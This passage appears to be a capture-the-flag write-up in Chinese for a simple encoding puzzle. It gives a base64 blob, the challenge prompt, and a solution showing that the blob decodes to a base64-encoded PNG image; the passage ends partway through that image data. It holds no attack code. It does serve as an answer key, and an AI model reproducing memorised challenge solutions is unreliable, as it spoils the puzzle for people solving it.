3Q1dXoyby9qOEx3L3lOR0VGR1JkYmJHT2JDSklDczhLQkNhbHc2dUI3ankzSUtPMCtCZG5XOE5VUXUwRHZxdUJ3YUNMWW81NmhtZFFwNFNld2UvZHVnZStSbS9LSmhTR1dhZ2kzaytQdjBxV0xnSXVwNU5QcUUxaVp5TklMWjBGOUxxY2xna3pURUpqMGdVaEZweSswOEZHN1FZc0pKeE00cEE4ZU1pU1pXc2E4NzBXRU9GYW5VYzJpb1diZU41RUtXb09TRWwwQzllclZFenhRWTNhYUpucWRyTDZhKy9idEMrMkVnMjVyK0dxSTJWaW9zMTU4TVpRbmdoOUx1cVozdFg1OXExQ2F4VzJCMzR1cEZGQ0hmYjhGK1ptQ0lramVpbW9GVHNzOXVpVnBrbGR2cXVhMmNyT2trdFB6Y3JNOUZQQzIyV1pQWnl4dnYvT09zU0dHWXVDVTZCUEFUV3AzVGVSN3JmNCt3VDhiZVJxZGp0ejFnbUxRYlEzZkRERXNiWjkzM25sR3h3QUhIdm1td2lZb1ZtMTZoK25rM0xEOWM4Y2RkempacEtOdGJkcTgyZEgyNGpXR096bFR5YStwRkNpL0VjQ3EzRTEvKzF1c3lMcVRURkFMdExaV01VZ20rTTZNY2RFeFBWbi9RWHYvQTgzWjVOWDJrRTFLaWhMRmk4ZnlVaDA0Y0NCb3lEZ2VGd2dnQjlsTldrYXV2dWIrUXhXVU1FVXloOEhXOE0xWnY2dHV4WmpLZkkzb1FjNHBTalFJYkE2YUlhWkpEeWtpdUtqMnVQbG14OU5Wb0pSVWIwMEFhU0tQcUlPK2JjMVFrM2JEcXZPWmk4WFdjek5CbEtyTmFnZXl0RlA4STdCOSsvYllkUkhYeG5nUFJLYmIzSkNhektTU3JvU2lKaVVTKzRaRndtQnIrTElpQmwrUlM3VzBqSW5BZHdIRmZpblJJWUFmZkxjRjV3MENPMHkyd3R3ZVN4amFSOVoybEpweW83aDMzejU5WXY1c3lUaXNXTG5TdFpRbXlmb082dnRlYnRIaU80TnQ2VEpseWhqaHdQYWt6U3FhVWFOVU1pYnc4T0RCZ2tjeXlmc2ZmMUs0ck9DWW5hUHBZNUFJRm4rbmtvWUUyNVVQRFJvVSt5eHFqd1pad21KcitHS0lkZTdVeVNoOEhRZDR5Wklsc25YcjFpQWZhNDdOa2dBQ0w3d1FSUDJZR0dKQmNOYjNna2U4UGhBZE5VNVRYSXpWaHh0YllCZlhyU3VOR2pXSzEvWHZYc000Qmh0Y1ZINzNvUXo0eDB0REREaXg1V1JxaUoybUJkc3B3U2VBN3pYS0VlR0JHNjNza25JNGZxMWF0cFJXV2xXaGNPSENWaE5CcWFUN0J3NFUvSll2V3JUSTZyTmVLb2ZGMXZCOGE3S0lIdnhtelpvWkg0c0ptdldaRWkwQzM5T3ZKQkFIOUtPUFBwSk82aytJTWxOdUdHR29jemRnd0FDanVTSXl5eWJsaUZHakVWRHkyaEQ3dHhwaXBuSWlmU3ROVVFWU0QxdVhvNTk2S3BZcmJNalFvZFl1QVZocEc2STNUNmFaRDd5R0VDWmJ3M05ERERVbFRRdk1Jb25odW5YcnZENSs3TTlsQXQ5Yk9OSzdQSlNNYXg3K1Y2Z3QyS0ZEQjdsT3Y0c3d4dHlTSGoxNkdLWFV5TDRndURXT01MZUxKTlpleWg2TEZDb0YxSUdiRW40Q1dJM0dqZEMxYmR2S09zMG5aeU80bG1ObERFWlowQ1JNdG9hblc1TW9PSXhsVUZQaGFwZ3BxWERwT2UxQUdxN1plei9hL1pvQ1ljT0dEYkxvelRkbDN0eTVzdCtERmNrcVZhcklkZTNhR1UzMk1hMDV5blBpajZqZ09JK0xwSmZ5NDhHRHh0MXhSY3dZVlNnVXNTM2RSWVBvaG10eCtRWWFIV2txOERYRDU4WUhxQnhaMkd3TlR3MnhObTNhU0FIRDVleU5tbXZxSGMxclE0a2VnU05IamtSdlVqN1BDQmR0R0Z4NFlCVUZLMTE0ckZjbmZLKzN0M0IzZk4rOTl4cmRKV1BWRzFIUmxEOFNzREdLL3ZqcDFGNnhpVmcxL1MxUGJTVDhsQjhFNEtMUXQxOC9HVGxpaEhGNktZenpSazNVL0lLV3lmSWpiMlk4VG1Hek5Ud3p4T0EwM2Y2NjYrSXhpL3ZhNU1tVDQ3N09GMGtnaWdSdTE3eHYyeTJqU1E5cVZDZ01MNlNkUUdCQ1VLU0RibmxXcWxRcDZYRHdvMjhTOVpXMG9ZZ3EyQmhGVGlHdzZSTzVwU2pSSTRDYk92d2VQYStWYkVxVkttVTBRVnpmcjlaY2djakE3N2VFMGRid3pCQzc2cXFyQlBtRVRHVGJ0bTBNWXpjQlJaM0lFRUMxQWVRRkNydVVLRkVpbHZqUlpCNG9XWWFDMXBUNEJBNnFQNS9YOG91RlFaL3FpcGlOc2VmMS9ObmZid1J3akI1NTlGRjVYTjBHVEtWMTY5YUJNTVRDYUd0NDRxeVA0c01JSXpVVlpORjNJNHJMdEgvcWtRQUpwRWJnWm5YUVI3UmtNa0VHLzFHalJ5ZFR5K2oza2RmTGE3Rnh3RC91dU9OU0dwNUpTcG1VR3ZicFE0ZDlPRTVlVEhYeDRzV3grcU9tZlpVc1dWSnExYXhwcXU2S1hsaHREVTlXeEs2NDRnckJRVElSK0xjZ3FvdENBaVFRUGdJbm4zeXkwYUFSTm84dEVMY3V5c2NmZjd6Uk9MS1ZqdE90RmRPeElGR3dGMkk3QnlmR2RORENXVC9WbFMydkF4Q2M0SktvamFqTkorZGNuOVc2cnlpWWJTcm4xcWdocTlUdjB5OEpxNjNoaVNGbVUySUFZYlJlL2RENWRiS3dYeExJZEFMMzNIMjM0QkVVdWVINjZ3VVBFMEd0dmRkZWY5MUVOUzBkazVYRnREcUk4MkdiUGxPdE0zblk0MGpRT05OMDlLV296U2NubkhkWHJJamxGek05TDZwcnhuNC9KYXkyaHV0Ymt4ZGVlR0dzbElMSndVR1czdW5xTjBJaEFSSWdnYUFTd09xWkYySjY4WE55TERaOXBtcUkvUkkxUTB5RFRxSXFDQUphdG55NThmUlFPc2t2Q2JPdDRib2gxcTFyVitQak1tdldyRmdVbVBFSHFFZ0NKRUFDRVNXQXJWS1VrdkZTVHJEWTBrMjFWSm10LzYvWERHejdPeFJoUXd6bkhuSVFta3BXVnBhWXVpZVl0bW1xRjJaYncxVkRETlp4clZxMWpEakNYMlRLMUtsR3VsUWlBUklnZ1V3Z2dFTE5YZ29TWVpyS2dSUnJ4dUszM2tieWFMQ1hsd0tIYnh1eG5ZOU4yMEhRdGFtMmdQSENHUE5hd201cjJKMXhsblNSYmRkVTVzMmZMenQzN2pSVnB4NEprQUFKUko1QTZkS2xQWjFqS1l2K0RtZ091MVRFZGt2ekdJOVhCVzFYeEZKZEdVeUZuUitmMlcxWlppdkx3cGgzYWo1aHR6VmNNOFRLbFNzbkRlclhOK0tNTUcwbWNEVkNSU1VTSUlFTUluREdHV2Q0T3RzemJBeXhGRXRsSVFteGplVFRlb1plaW0zZFJOdjVlRGtYSi9xeTNVck84bmdWTndxMmhtdUdXT2ZPblkzOUd4WXZXU0pidDI1MTRweGhHeVJBQWlRUUdRSTJocEVUazdaWmdmczB4ZDlzT0lEYmJPY2Q1N0VoWnBzZkxkV1ZRU2VPbHhkdDJQcDgyUnF5NmM0aENyYUdLNFpZMGFKRnBVbmp4c1o4SjA2Y2FLeExSUklnQVJMSUZBSmVyb2dWTGx4WTh1ZlBiNHdXMVNCU0ZadFZwRDlaQkJDa09wNmNuenZlTWlwMmY0b3Jnem43RFBMZnB4UXFaRFc4SDMvNHdVby9IZVdvMkJxdUdHSWRPblNRWXczdllsYXRXaVhyMXExTDUxandzeVJBQWlRUVNRSlZxMWIxYkY1VnFsUXg3Z3ZKWE5NcEp2L3R0OThhOTFYQXdqZzBialNCb2sxMUFUU3piOSsrQksyRi82M1RpeGUzbXNUM0hocGlVYkUxSEUvb2lvaUpsaTFhR0IrNGlaTW1HZXRTa1FSSUlOZ0VacytlTFJzM2J2UjlrTmhPYVdIeE80UXhMMTI2MUdqY2E5ZXVOZEp6UXFsWXNXSnk1cGxuZWxLVHMrNUZGeGtQZWZQbXpYTGt5QkZqL2R5S1gydUIrL0xseStkK09lNy9YdnNjMlViOVlTNVJsam9XbWZYQndhdmdoU2paR280Yll0ZGVlNjN4OGpaKy9ONTU1NTBvbjhPY0d3bGtGQUZrblBjaTYzd3lxS2VkZHBxVkliWnc0VUlaTzI1Y3NtWjllZi9paXkvMnhCQzd5TUlRUzJkYkVoQnRqSmNpUllwNHl0Mm1QL2k2N2RxMXk5UHhlZGxaaVJJbHhHWjdIUDUvWDMzMWxTZERqSkt0NGVqV0pHcWpYZGV1bmZGQm1Qek1NOGE2VkNRQkVpQ0JUQ1J3Y2QyNnJrOGJUdnFtOVlBeG1IUlhQVzB1MW4vV0ZVRXZwVUtGQ3NiZDdkaXhJNjJWUWVPT2ZGSnMwS0NCVmM5YnRtd1JMMnB2UnMzV2NOUVF1L3JxcTZXUW9XUGZ0bTNiWk1HQ0JWWUhtY29rUUFJa2tHa0V6am5uSExHSlpreUZUOU1tVFl3L2hpMUptN0kzOFJxMjhTODc4Y1FUclZabDR2Vm44OXBaRnI1eW4zL3hoVTNUb2RKRnVTdWIybzJZM0FhUDNCS2labXM0Wm9naFpMVlR4NDdHSjlxVUtWTUUrY01vSkVBQ0pFQUNSeWVBVE8vWGQrOStkSVUwM3lsUW9JQzBzOWpKZU8rOTk2eTJGdU1OYjYxbGdGYkRoZzNqTmVQNGExaElxRjI3dG5HNzZ5M25ZZHh3QUJTN2FubENSTkxhaUUwNUpKdDJjK3BHMGRad3pCQnJwRitVNG9iUkZidDM3NWJaTDcyVWt5My9KZ0VTSUFFU09BcUJKcnBpQlg4ZE42Uk5telpXWldubXpwdVg5akMrK2VZYksxK2kxcTFhQ1F4R3Q2VkQrL2JHRWY4WWk2MUI2ZmI0bldxL2N1WEtWZ3NyNkJjTEswczk4UG1Pb3EzaG1DRUc2OWxVcGsrZkxqLzk5Sk9wT3ZWSWdBUklJS01KNU11WFQyNjc5VmJIR1NDNnRLT21HeklWL0c2LzhjWWJwdW9KOVZhc1hKbncvWnh2SXZoaTRNQ0JPVjl5L0crc2hObVV5b0ZqK2djZmZKRDJPTWFNR1NPalI0MFMyK2pFdERzK1NnTmx5NWFWVVNOSEN2eXdiR1Q1OHVYeWxRY1JwRkcwTlJ3eHhPQk1paEJyRTBGbzYvUVpNMHhVcVVNQ0pFQUNKUEFmQXRpZXM5bENUQVlPVzU1REJnK1dVMDQ1SlpucWY5OUhGUlRiV3BILy9YQ3VQMlpZWGdldXVQeHlhYXRSK1c0SUREMndzTWtLUC8rVlY4UW1NZTNSeG8zYWpIWHExSkhSbzBmTERGMmtnTCtlelRpTzFtNHFyeU9seUZNNkRsTmY3NXg5L04rc1dUbi9kZVh2cU5vYWpoaGkzYnAxTTRZK1N3K1dFeWV2Y1lkVUpBRVNJSUdJRU9qZHE1ZlVxbG5Ua2RuY2Z0dHRjdjc1NTF1MTljSUxMMWpwSjFLR1A5R2FOV3NTcWZ6aHZkNjllMHRqaTZvdGYyZ2d6Z3ZGVHo5ZC92bkVFMVlHS1pwNTl0bG40N1NXM2tzVksxYVVRWU1HeWJ5NWN3WFhWWnRJMW5SNmh1SFhYZjBRcDArYkpzaFdieXZZYWw2aVJycmJFbFZiSTIxRERCRTk1NTU3cmhGLzVGeUJrejZGQkVpQUJFakFuZ0MyS0I5NzdERzVYRmVIVWhXMDBmT09Pd1ExK214azBadHZ5a3FMN1VTVHRxZGFHak9vMlBMd1F3L0o0SWNmbHBOMEpTbGRhZGFzbWN5Y09WUGdFMlVqSzFhc2tJOC8vdGptSTFhNlNPU0xyZWk1YytZSVhIa1FyR0dUejh1ME01d0xXR21jcXRmbFcyKzV4Y28vTG1jZmp6Myt1T3RwSzZKc2E2U2QwTFdiaFcvWXZQbnpaV2VFazkvbFBESDVOd21RQUFtNFFRQUd5TENoUTJXbXJrNE5IejdjeXQ4V3F6OURoZ3dSMjlKSkJ3OGVsT0hEaGprK25UZlZ1RU5PTWROQXIrd0JOR3JVS0xZQU1HWHFWSGxka3dnam41ZXB3SmhEOGxwVWdFR3kzRlFFL1hvbGxYU1ZESTliMUZEYThza25zbWIxYXZsSVZ4T3hvcGhLM2k3NGZsV3FWRW5xMTY4dlY2a2hhck0xSFcvT1NNbyt6NEVBam5odDUzd3R5clpHV29ZWTlwTk5UMlJFVkV4aU9hT2M1eFgvSmdFU0lJR1VDU0NTRUtzWjhGVjYrZVdYWXhmbWVJM0JGK3lpQ3krVTVzMmJ5eVdYWEpMU3FzZUVpUk5kY2NUR2RXSEVpQkh5a0s1eTJRcTIwTzdVclVwczE2THMxTUpGaStUenp6OFhiSk1oTWgvMUxKRUw2OVJUVDVWVE5RM0RxZW9IaHEzWStzb0F1Y2xTbFpWYUgvbXR0OTVLOWVOcGZlNU12ZWJpa1MzWVpZSXh0blhyVnRtM2YzK3M3aVZxWCs3WHg4LzZIdXAwWXE1NG9HSUE2b25DR2Q4cEg3UWZ0SzdrUHg1OE1IczRyajFIM2RaSXl4RHIycVdMNU1tVHh3ZytuRHcvKyt3ekkxMHFrUUFKa0FBSkpDZFFzR0JCYWRlMmJleUJVanZidDIrUHJRNGQwS0NvVXpRblZoRTFWckRhQklmd1ZBWEp0OTI4aVlZaENkOG8yNjNTN1BuZ0dsUzlldlhZSS9zMXQ1Ni8wQVN1ZDk1NXAxdk5XN2VMMVQxc3E5cHVyVnAzRk9jRGh3OGZsb0gzM3g4NzUrSzg3ZWhMVWJjMVVqYkVUdGNsYml3UG04cUVDUk5NVmFsSEFpUkFBaGxQQUFaUUhsM05LbUdZbnhHUmYzallianNtQW8wVmozNzkrd3RTTmJncGo2dXpmTmx5NWFSZWlsdUZibzR0dTIwRW1kMTIrKzJ5ZCsvZTdKY3k5aGtybWZmZGQxOXNXOWh0Q0psZ2E2VHNySS9jTTNEME01RlZ1cFM3ZnYxNkUxWHFrQUFKa0FBSktBR2tpYmo3cnJzRUt3OStDSXl2MjlXcC84TVBQM1M5ZTVSTkdqQmdRTXdIeXZYT1V1Z0F4NkJ2djM2eExjQVVQaDZwaitCWS9mMkJCd1ErMzE1SUp0Z2FLUmxpU0FKNHpUWFhHQjhEK0JkUVNJQUVTSUFFN0FpOHJ3bER4NDRkYS9jaEI3UmhlUFJUdzhQcEtNbEVRME9PeVI0OWVsaW50RWpVcGhQdndmZXFUNTgrc216Wk1pZWFDM1ViZS9ic2taN3FrL2VTUjVWeE1zWFdTTWtRZzA4Q25DQk5aS01XQVYyNmRLbUpLblZJZ0FSSWdBUnlFUmlqaHRnY1RXUGdsV1Q3L3J5NWVMRlhYZjYzbjUwN2QwcjM2NitYVVpwVTFLK1Z3UDhPUnY5WTgvNzdnaEpRU04yUjZZS0tDaTAxUUdTeGgrZEZwdGdhMW9ZWURMQzJhb2laeXFUSmswMVZxVWNDSkVBQ0pKQ0xBUHh4N2xWL25FRWFXWWdvT1RkbDgrYk4wcUZqUjVtckNVWDlFc3dYWlgrUVlCU3BMZnlRbkdOQUFJU2Jza3hMQTMzMzNYZHVkcEZXMi9DSjY2L2J4bmZxcWlBaVViMlNUTEkxekp5OGNwQnZvVnVTaU5ReEVVU1l2UGJhYXlhcTFDRUJFaUFCRWtoQUFJbEhzY09BZkY2cFpEOVAwSFRNd0JzM2ZyeU0xOGVoUTRjU3FYcjJIclpsVzdSc0tWZGRkWldnR0hmcDBxVmQ3eHQrY1hQVUNFWGljYStpL0ovUVFJVW5uM3hTa0xBVXFUV1FZc1NONUsyMjhKQVc0M2s5NTJDVUkyakRhOGtrVzhQS0VJTnpma2U5V3pJVkpMM0RuVVdVNU1jZmZ6U2V6a0VMWGVOR0RSUnR4b2ptYlBYakRjRzBEU1NHaExPbkY0SXhtV1RmTmgyN3paaHQyc1NGeisyb05KdXhSMEVYSzBmZ2FocFFaSE84L09TemJ0MDZhYVAxRnBGRERINjZKVXFVU0dzNHVNQmlDM0tpK3ZIaXdoczB3ZS9GODg4L0g4dCszNkJCQStuY3FaTXJhU3F3NmpORCswRVdlL2hCZVMyNFRxN1dSSzE0UEtxVkU4cVVLU01vUWw2dGFsV3BWcTJhWjRZWnZqZllnb1FCWmx0K3lrbG1tV1pyNUtsVXVienhWUkhsSVA2aDBSSW1nb1I2VFpvMnRjcjZiTkl1ZFVpQUJFZ2d6QVFXNm9XdXNDWVlUU1pZL1dyYnJsMUN0UXN1dUVCYWFJYjRCdlhyR3lkcS9lbW5uMklKU1Y5ZHNDRDJqUC9ESkVoblVLTkdqZGlqcGo3RGFMRVZwS0o0WC8yL1lQaThoMHoxSDMwVW1KWEFlSFBKeXNxS3BTV3BldmJac1lTc01NQkxsU3BsdkRzVnIwMjhobTFYR1Bmck5Lc0JucEd0SDhhdjM1SnB0b2JWaWxnWGk5cGswN1I0YU5pKzRINmZmT3lmQkVpQUJHd0lMRmYvSWp5d2dvQWNZdGl5UkozQ1l2cU1UT3BZRmR5bG1lYVI3RFg3Z1l0dm1GZGd2Lzc2NjFoSm5leXlPaWpSVTFxTmtpeDFtVGxaSDluUEoyb1MyNS9WeU55cldlYjNxZzlXN0ZsWHZuWXJqMDgxRTcxWEsvTTJ4L05vdXNpV2oxSkNlT1FVWk15SFVZWmNjd1gwNy96cXd3M2ZxdnlhVWY4RWZSeW5DVjkvVk1NcWxtMWZqVThZb05rUCtOK2hDa0VRSmROc0RXTkRESFdwVUdiQVJKRC9Cc3U4RkJJZ0FSSWdBZmNKd09DQ2dZSkhwZ20yRXYzWVRnd0NaMXhyTjIzYUZIc0VZVHhPakNFVGJRM2pxRW1VR0RDVldiTm14YXh1VTMzcWtRQUprQUFKa0FBSmtFQW0yaHBHaGhqMjQxSEx5MFRnN0RmVnc4cjBKbU9pRGdtUUFBbVFBQW1RUUxBSlpLcXRZV1NJZGV2YTFmam9ZZDkrcC9valVFaUFCRWlBQkVpQUJFakFsRUNtMmhwSkRiRUtGU3BJM2JwMWpUZ2lCSmNKWEkxUVVZa0VTSUFFU0lBRVNPQS9CRExaMWtocWlObEVMeUFmalZkSjhIajJrZ0FKa0FBSmtBQUpSSU5BSnRzYUNRMHhoTVUyYk5qUStDZ2pLU0NGQkVpQUJFaUFCRWlBQkV3SlpMcXRrZEFRYTZmSkJQUG16V3ZFY3VXcVZiSmVrOEpSU0lBRVNJQUVTSUFFU01DVVFLYmJHZ256aU1IeDNyVHN4ZHExYTAyWlU0OEVTSUFFU0lBRVNJQUVZZ1F5M2RaSWFJaWgzQUVlRkJJZ0FSSWdBUklnQVJKd2cwQ20yeG9KdHliZEFNNDJTWUFFU0lBRVNJQUVTSUFFZmlOQVE0eG5BZ21RQUFtUUFBbVFBQW40UklDR21FL2cyUzBKa0FBSmtBQUprQUFKMEJEak9VQUNKRUFDSkVBQ0pFQUNQaEdnSWVZVGVIWkxBaVJBQWlSQUFpUkFBalRFZUE2UUFBbVFBQW1RQUFtUWdFOEVhSWo1Qko3ZGtnQUprQUFKa0FBSmtBQU5NWjRESkVBQ0pFQUNKRUFDSk9BVEFScGlQb0ZudHlSQUFpUkFBaVJBQWlSQVE0em5BQW1RQUFtUUFBbVFBQW40UklDR21FL2cyUzBKa0FBSmtBQUprQUFKSkt3MVNUd2tRQUlrUUFMT0V1alpxNWNVek1wSzJ1ak9YYnVTNmxDQkJFZ2cvQVR5VktwYy9rajRwOEVaa0FBSmtBQUprQUFKa0VENENQdy9CTW1TU0lkbU1Dc0FBQUFBU1VWT1JLNUNZSUk9
+

題目說明: 從這堆亂碼中找到答案。

解答:

其實這題也相當直白,不需想太多;常使用編碼的人應該能發現這堆亂碼就只是base64的字串,我們先把他 解回去 ,得到:

1
+
data:image/png;base64,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